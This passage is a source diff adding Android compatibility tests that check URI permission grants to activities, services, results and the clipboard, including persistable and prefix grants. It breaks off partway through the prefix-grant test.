diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
new file mode 100644
index 0000000..26a2eee
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE_MODES;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
+import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+
+import static junit.framework.Assert.fail;
+
+import android.content.ClipData;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.function.Function;
+
+@RunWith(AndroidJUnit4.class)
+public class UriGrantsActivityTest {
+    private static Context getContext() {
+        return InstrumentationRegistry.getTargetContext();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Always dispose, usually to clean up from failed tests
+        ReceiveUriActivity.finishCurInstanceSync();
+    }
+
+    @Test
+    public void testGrantableToActivity() {
+        for (Uri uri : GRANTABLE) {
+            for (int mode : GRANTABLE_MODES) {
+                Log.d(TAG, "Testing " + uri + " " + mode);
+                assertGrantableToActivity(uri, mode, UriGrantsTest::makeSingleClipData);
+                assertGrantableToActivity(uri, mode, UriGrantsTest::makeMultiClipData);
+            }
+        }
+    }
+
+    private void assertGrantableToActivity(Uri uri, int mode, Function<Uri, ClipData> clipper) {
+        final Uri subUri = Uri.withAppendedPath(uri, "foo");
+        final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
+        final Uri sub2Uri = Uri.withAppendedPath(uri, "yes");
+        final Uri sub2SubUri = Uri.withAppendedPath(sub2Uri, "no");
+
+        final ClipData subClip = clipper.apply(subUri);
+        final ClipData sub2Clip = clipper.apply(sub2Uri);
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, 0);
+        assertAccess(subUri, 0);
+        assertAccess(subSubUri, 0);
+        assertAccess(sub2Clip, 0);
+        assertAccess(sub2Uri, 0);
+        assertAccess(sub2SubUri, 0);
+
+        // --------------------------------
+
+        ReceiveUriActivity.clearStarted();
+        grantClipUriPermission(subClip, mode, false);
+        ReceiveUriActivity.waitForStart();
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, mode);
+        assertAccess(subUri, mode);
+        assertAccess(subSubUri, 0);
+        assertAccess(sub2Clip, 0);
+        assertAccess(sub2Uri, 0);
+        assertAccess(sub2SubUri, 0);
+
+        // --------------------------------
+
+        ReceiveUriActivity.clearNewIntent();
+        grantClipUriPermission(sub2Clip, mode, false);
+        ReceiveUriActivity.waitForNewIntent();
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, mode);
+        assertAccess(subUri, mode);
+        assertAccess(subSubUri, 0);
+        assertAccess(sub2Clip, mode);
+        assertAccess(sub2Uri, mode);
+        assertAccess(sub2SubUri, 0);
+
+        // And make sure we can't generate a permission to a running activity.
+        assertNotGrantableToActivity(Uri.withAppendedPath(uri, "hah"), mode, clipper);
+
+        // --------------------------------
+
+        // Dispose of activity.
+        ReceiveUriActivity.finishCurInstanceSync();
+        SystemClock.sleep(200);
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, 0);
+        assertAccess(subUri, 0);
+        assertAccess(subSubUri, 0);
+        assertAccess(sub2Clip, 0);
+        assertAccess(sub2Uri, 0);
+        assertAccess(sub2SubUri, 0);
+    }
+
+    @Test
+    public void testNotGrantableToActivity() {
+        for (Uri uri : NOT_GRANTABLE) {
+            for (int mode : NOT_GRANTABLE_MODES) {
+                Log.d(TAG, "Testing " + uri + " " + mode);
+                assertNotGrantableToActivity(uri, mode, UriGrantsTest::makeSingleClipData);
+                assertNotGrantableToActivity(uri, mode, UriGrantsTest::makeMultiClipData);
+            }
+        }
+    }
+
+    private void assertNotGrantableToActivity(Uri uri, int mode, Function<Uri, ClipData> clipper) {
+        final Uri subUri = Uri.withAppendedPath(uri, "foo");
+        final ClipData subClip = clipper.apply(subUri);
+
+        Intent grantIntent = new Intent();
+        grantIntent.setClipData(subClip);
+        grantIntent.addFlags(mode | Intent.FLAG_ACTIVITY_NEW_TASK);
+        grantIntent.setClass(getContext(), ReceiveUriActivity.class);
+        try {
+            ReceiveUriActivity.clearStarted();
+            getContext().startActivity(grantIntent);
+            ReceiveUriActivity.waitForStart();
+            fail("expected SecurityException granting " + subClip + " to activity");
+        } catch (SecurityException e) {
+            // This is what we want.
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsClipboardTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsClipboardTest.java
new file mode 100644
index 0000000..4e6cfb8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsClipboardTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertClipDataEquals;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipNotAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipNotAllowed;
+import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
+import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.makeSingleClipData;
+import static com.android.cts.usespermissiondiffcertapp.Utils.clearPrimaryClip;
+import static com.android.cts.usespermissiondiffcertapp.Utils.setPrimaryClip;
+
+import static junit.framework.Assert.fail;
+
+import android.content.ClipData;
+import android.content.ClipboardManager;
+import android.content.Context;
+import android.net.Uri;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class UriGrantsClipboardTest {
+    private static Context getContext() {
+        return InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
+    public void testClipboardWithPermission() throws Exception {
+        for (Uri target : GRANTABLE) {
+            Log.d(TAG, "Testing " + target);
+            final ClipData clip = makeSingleClipData(target);
+
+            // Normally we can't see the underlying clip data
+            assertReadingClipNotAllowed(clip);
+            assertWritingClipNotAllowed(clip);
+
+            // Use shell's permissions to ensure we can access the clipboard
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity();
+            ClipData clipFromClipboard;
+            try {
+                // But if someone puts it on the clipboard, we can read it
+                setPrimaryClip(clip);
+                clipFromClipboard = getContext()
+                        .getSystemService(ClipboardManager.class).getPrimaryClip();
+            } finally {
+                InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                        .dropShellPermissionIdentity();
+            }
+            assertClipDataEquals(clip, clipFromClipboard);
+            assertReadingClipAllowed(clipFromClipboard);
+            assertWritingClipNotAllowed(clipFromClipboard);
+
+            // And if clipboard is cleared, we lose access
+            clearPrimaryClip();
+            assertReadingClipNotAllowed(clipFromClipboard);
+            assertWritingClipNotAllowed(clipFromClipboard);
+        }
+    }
+
+    @Test
+    public void testClipboardWithoutPermission() throws Exception {
+        for (Uri target : NOT_GRANTABLE) {
+            Log.d(TAG, "Testing " + target);
+            final ClipData clip = makeSingleClipData(target);
+
+            // Can't see it directly
+            assertReadingClipNotAllowed(clip);
+            assertWritingClipNotAllowed(clip);
+
+            // Can't put on clipboard if we don't own it
+            try {
+                setPrimaryClip(clip);
+                fail("Unexpected ability to put protected data " + clip + " on clipboard!");
+            } catch (Exception expected) {
+            }
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsResultTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsResultTest.java
new file mode 100644
index 0000000..a8eea3e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsResultTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE_MODES;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
+import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
+
+import android.app.Instrumentation;
+import android.content.ClipData;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.function.Function;
+
+@RunWith(AndroidJUnit4.class)
+public class UriGrantsResultTest {
+    private static final int REQUEST_CODE = 42;
+
+    private Instrumentation mInstrumentation;
+    private Context mContext;
+    private GetResultActivity mActivity;
+
+    public void createActivity() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = InstrumentationRegistry.getTargetContext();
+
+        final Intent intent = new Intent(mContext, GetResultActivity.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mActivity = (GetResultActivity) mInstrumentation.startActivitySync(intent);
+        mInstrumentation.waitForIdleSync();
+        mActivity.clearResult();
+    }
+
+    public void destroyActivity() throws Exception {
+        mActivity.finish();
+    }
+
+    @Test
+    public void testGrantableToResult() throws Exception {
+        for (Uri uri : GRANTABLE) {
+            for (int mode : GRANTABLE_MODES) {
+                Log.d(TAG, "Testing " + uri + " " + mode);
+                assertGrantableToResult(uri, mode, UriGrantsTest::makeSingleClipData);
+                assertGrantableToResult(uri, mode, UriGrantsTest::makeMultiClipData);
+            }
+        }
+    }
+
+    private void assertGrantableToResult(Uri uri, int mode,
+            Function<Uri, ClipData> clipper) throws Exception {
+        try {
+            createActivity();
+            assertGrantableToResultInternal(uri, mode, clipper);
+        } finally {
+            destroyActivity();
+        }
+    }
+
+    private void assertGrantableToResultInternal(Uri uri, int mode,
+            Function<Uri, ClipData> clipper) {
+        final Uri subUri = Uri.withAppendedPath(uri, "foo");
+        final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
+        final ClipData subClip = clipper.apply(subUri);
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, 0);
+        assertAccess(subUri, 0);
+        assertAccess(subSubUri, 0);
+
+        // --------------------------------
+
+        final Intent intent = buildIntent(subClip, mode);
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+        mActivity.getResult();
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, mode);
+        assertAccess(subUri, mode);
+        assertAccess(subSubUri, 0);
+
+        // --------------------------------
+
+        // Dispose of activity.
+        mActivity.finish();
+        mActivity.getDestroyed();
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, 0);
+        assertAccess(subUri, 0);
+        assertAccess(subSubUri, 0);
+    }
+
+    @Test
+    public void testNotGrantableToResult() throws Exception {
+        for (Uri uri : NOT_GRANTABLE) {
+            for (int mode : NOT_GRANTABLE_MODES) {
+                Log.d(TAG, "Testing " + uri + " " + mode);
+                assertNotGrantableToResult(uri, mode, UriGrantsTest::makeSingleClipData);
+                assertNotGrantableToResult(uri, mode, UriGrantsTest::makeMultiClipData);
+            }
+        }
+    }
+
+    private void assertNotGrantableToResult(Uri uri, int mode,
+            Function<Uri, ClipData> clipper) throws Exception {
+        try {
+            createActivity();
+            assertNotGrantableToResultInternal(uri, mode, clipper);
+        } finally {
+            destroyActivity();
+        }
+    }
+
+    private void assertNotGrantableToResultInternal(Uri uri, int mode,
+            Function<Uri, ClipData> clipper) {
+        final Uri subUri = Uri.withAppendedPath(uri, "foo");
+        final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
+        final ClipData subClip = clipper.apply(subUri);
+
+        final Intent intent = buildIntent(subClip, mode);
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+        mActivity.getResult();
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, 0);
+        assertAccess(subUri, 0);
+        assertAccess(subSubUri, 0);
+    }
+
+    private Intent buildIntent(ClipData clip, int mode) {
+        final Intent intent = new Intent();
+        intent.setComponent(new ComponentName("com.android.cts.permissiondeclareapp",
+                "com.android.cts.permissiondeclareapp.SendResultActivity"));
+        intent.putExtra(Intent.EXTRA_TEXT, clip);
+        intent.putExtra(Intent.EXTRA_INDEX, mode);
+        return intent;
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
new file mode 100644
index 0000000..7be059f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE_MODES;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
+import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+
+import static junit.framework.Assert.fail;
+
+import android.content.ClipData;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.function.Function;
+
+@RunWith(AndroidJUnit4.class)
+public class UriGrantsServiceTest {
+    private static Context getContext() {
+        return InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
+    public void testGrantableToService() {
+        for (Uri uri : GRANTABLE) {
+            for (int mode : GRANTABLE_MODES) {
+                Log.d(TAG, "Testing " + uri + " " + mode);
+                assertGrantableToService(uri, mode, UriGrantsTest::makeSingleClipData);
+                assertGrantableToService(uri, mode, UriGrantsTest::makeMultiClipData);
+            }
+        }
+    }
+
+    private void assertGrantableToService(Uri uri, int mode, Function<Uri, ClipData> clipper) {
+        final Uri subUri = Uri.withAppendedPath(uri, "foo");
+        final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
+        final Uri sub2Uri = Uri.withAppendedPath(uri, "yes");
+        final Uri sub2SubUri = Uri.withAppendedPath(sub2Uri, "no");
+
+        ReceiveUriService.stop(getContext());
+
+        final ClipData subClip = clipper.apply(subUri);
+        final ClipData sub2Clip = clipper.apply(sub2Uri);
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, 0);
+        assertAccess(subUri, 0);
+        assertAccess(subSubUri, 0);
+        assertAccess(sub2Clip, 0);
+        assertAccess(sub2Uri, 0);
+        assertAccess(sub2SubUri, 0);
+
+        // --------------------------------
+
+        ReceiveUriService.clearStarted();
+        grantClipUriPermission(subClip, mode, true);
+        ReceiveUriService.waitForStart();
+
+        int firstStartId = ReceiveUriService.getCurStartId();
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, mode);
+        assertAccess(subUri, mode);
+        assertAccess(subSubUri, 0);
+        assertAccess(sub2Clip, 0);
+        assertAccess(sub2Uri, 0);
+        assertAccess(sub2SubUri, 0);
+
+        // --------------------------------
+
+        // Send another Intent to it.
+        ReceiveUriService.clearStarted();
+        grantClipUriPermission(sub2Clip, mode, true);
+        ReceiveUriService.waitForStart();
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, mode);
+        assertAccess(subUri, mode);
+        assertAccess(subSubUri, 0);
+        assertAccess(sub2Clip, mode);
+        assertAccess(sub2Uri, mode);
+        assertAccess(sub2SubUri, 0);
+
+        // And make sure we can't generate a permission to a running service.
+        assertNotGrantableToService(Uri.withAppendedPath(uri, "hah"), mode, clipper);
+
+        // --------------------------------
+
+        // Stop the first command.
+        ReceiveUriService.stopCurWithId(firstStartId);
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, 0);
+        assertAccess(subUri, 0);
+        assertAccess(subSubUri, 0);
+        assertAccess(sub2Clip, mode);
+        assertAccess(sub2Uri, mode);
+        assertAccess(sub2SubUri, 0);
+
+        // --------------------------------
+
+        // Dispose of service.
+        ReceiveUriService.stopSync(getContext());
+
+        assertAccess(uri, 0);
+        assertAccess(subClip, 0);
+        assertAccess(subUri, 0);
+        assertAccess(subSubUri, 0);
+        assertAccess(sub2Clip, 0);
+        assertAccess(sub2Uri, 0);
+        assertAccess(sub2SubUri, 0);
+    }
+
+    @Test
+    public void testNotGrantableToService() {
+        for (Uri uri : NOT_GRANTABLE) {
+            for (int mode : NOT_GRANTABLE_MODES) {
+                Log.d(TAG, "Testing " + uri + " " + mode);
+                assertNotGrantableToService(uri, mode, UriGrantsTest::makeSingleClipData);
+                assertNotGrantableToService(uri, mode, UriGrantsTest::makeMultiClipData);
+            }
+        }
+    }
+
+    private void assertNotGrantableToService(Uri uri, int mode, Function<Uri, ClipData> clipper) {
+        final Uri subUri = Uri.withAppendedPath(uri, "foo");
+        final ClipData subClip = clipper.apply(subUri);
+
+        Intent grantIntent = new Intent();
+        grantIntent.setClipData(subClip);
+        grantIntent.addFlags(mode);
+        grantIntent.setClass(getContext(), ReceiveUriService.class);
+        try {
+            getContext().startService(grantIntent);
+            fail("expected SecurityException granting " + subClip + " to service");
+        } catch (SecurityException e) {
+            // This is what we want.
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
new file mode 100644
index 0000000..a955dbc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
@@ -0,0 +1,402 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.PERM_URI_GRANTING;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertNoPersistedUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertPersistedUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipNotAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipNotAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaContext;
+import static com.android.cts.usespermissiondiffcertapp.Utils.revokeClipUriPermissionViaContext;
+
+import static junit.framework.Assert.fail;
+
+import android.content.ClipData;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class UriGrantsTest {
+    static final String TAG = "UriGrantsTest";
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getTargetContext();
+    }
+
+    static ClipData makeSingleClipData(Uri uri) {
+        return new ClipData("foo", new String[] { "foo/bar" },
+                new ClipData.Item(uri));
+    }
+
+    static ClipData makeMultiClipData(Uri uri) {
+        Uri grantClip1Uri = uri;
+        Uri grantClip2Uri = Uri.withAppendedPath(uri, "clip2");
+        Uri grantClip3Uri = Uri.withAppendedPath(uri, "clip3");
+        Uri grantClip4Uri = Uri.withAppendedPath(uri, "clip4");
+        Uri grantClip5Uri = Uri.withAppendedPath(uri, "clip5");
+        ClipData clip = new ClipData("foo", new String[] { "foo/bar" },
+                new ClipData.Item(grantClip1Uri));
+        clip.addItem(new ClipData.Item(grantClip2Uri));
+        // Intents in the ClipData should allow their data: and clip URIs
+        // to be granted, but only respect the grant flags of the top-level
+        // Intent.
+        clip.addItem(new ClipData.Item(new Intent(Intent.ACTION_VIEW, grantClip3Uri)));
+        Intent intent = new Intent(Intent.ACTION_VIEW, grantClip4Uri);
+        intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        clip.addItem(new ClipData.Item(intent));
+        intent = new Intent(Intent.ACTION_VIEW);
+        intent.setClipData(new ClipData("foo", new String[] { "foo/bar" },
+                new ClipData.Item(grantClip5Uri)));
+        clip.addItem(new ClipData.Item(intent));
+        return clip;
+    }
+
+    /**
+     * Validate behavior of persistable permission grants.
+     */
+    @Test
+    public void testGrantPersistableUriPermission() {
+        final ContentResolver resolver = getContext().getContentResolver();
+
+        final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo");
+        final ClipData clip = makeSingleClipData(target);
+
+        // Make sure we can't see the target
+        assertReadingClipNotAllowed(clip, "reading should have failed");
+        assertWritingClipNotAllowed(clip, "writing should have failed");
+
+        // Make sure we can't take a grant we don't have
+        try {
+            resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+            fail("taking read should have failed");
+        } catch (SecurityException expected) {
+        }
+
+        // And since we were just installed, no persisted grants yet
+        assertNoPersistedUriPermission();
+
+        // Now, let's grant ourselves some access
+        ReceiveUriActivity.clearStarted();
+        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+        ReceiveUriActivity.waitForStart();
+
+        // We should now have reading access, even before taking the persistable
+        // grant. Persisted grants should still be empty.
+        assertReadingClipAllowed(clip);
+        assertWritingClipNotAllowed(clip, "writing should have failed");
+        assertNoPersistedUriPermission();
+
+        // Take the read grant and verify we have it!
+        long before = System.currentTimeMillis();
+        resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+        long after = System.currentTimeMillis();
+        assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
+
+        // Make sure we can't take a grant we don't have
+        try {
+            resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+            fail("taking write should have failed");
+        } catch (SecurityException expected) {
+        }
+
+        // Launch again giving ourselves persistable read and write access
+        ReceiveUriActivity.clearNewIntent();
+        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+        ReceiveUriActivity.waitForNewIntent();
+
+        // Previous persisted grant should be unchanged
+        assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
+
+        // We should have both read and write; read is persisted, and write
+        // isn't persisted yet.
+        assertReadingClipAllowed(clip);
+        assertWritingClipAllowed(clip);
+
+        // Take again, but still only read; should just update timestamp
+        before = System.currentTimeMillis();
+        resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+        after = System.currentTimeMillis();
+        assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
+
+        // And take yet again, both read and write
+        before = System.currentTimeMillis();
+        resolver.takePersistableUriPermission(target,
+                Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        after = System.currentTimeMillis();
+        assertPersistedUriPermission(target,
+                Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION,
+                before, after);
+
+        // Now drop the persisted grant; write first, then read
+        resolver.releasePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+        assertPersistedUriPermission(target, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, before, after);
+        resolver.releasePersistableUriPermission(target, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        assertNoPersistedUriPermission();
+
+        // And even though we dropped the persistable grants, our activity is
+        // still running with the global grants (until reboot).
+        assertReadingClipAllowed(clip);
+        assertWritingClipAllowed(clip);
+
+        ReceiveUriActivity.finishCurInstanceSync();
+    }
+
+    /**
+     * Validate behavior of prefix permission grants.
+     */
+    @Test
+    public void testGrantPrefixUriPermission() throws Exception {
+        final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo1");
+        final Uri targetMeow = Uri.withAppendedPath(target, "meow");
+        final Uri targetMeowCat = Uri.withAppendedPath(targetMeow, "cat");
+
+        final ClipData clip = makeSingleClipData(target);
+        final ClipData clipMeow = makeSingleClipData(targetMeow);
+        final ClipData clipMeowCat = makeSingleClipData(targetMeowCat);
+
+        // Make sure we can't see the target
+        assertReadingClipNotAllowed(clip, "reading should have failed");
+        assertWritingClipNotAllowed(clip, "writing should have failed");
+
+        // Give ourselves prefix read access
+        ReceiveUriActivity.clearStarted();
+        grantClipUriPermission(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+        ReceiveUriActivity.waitForStart();
+
+        // Verify prefix read access
+        assertReadingClipNotAllowed(clip, "reading should have failed");
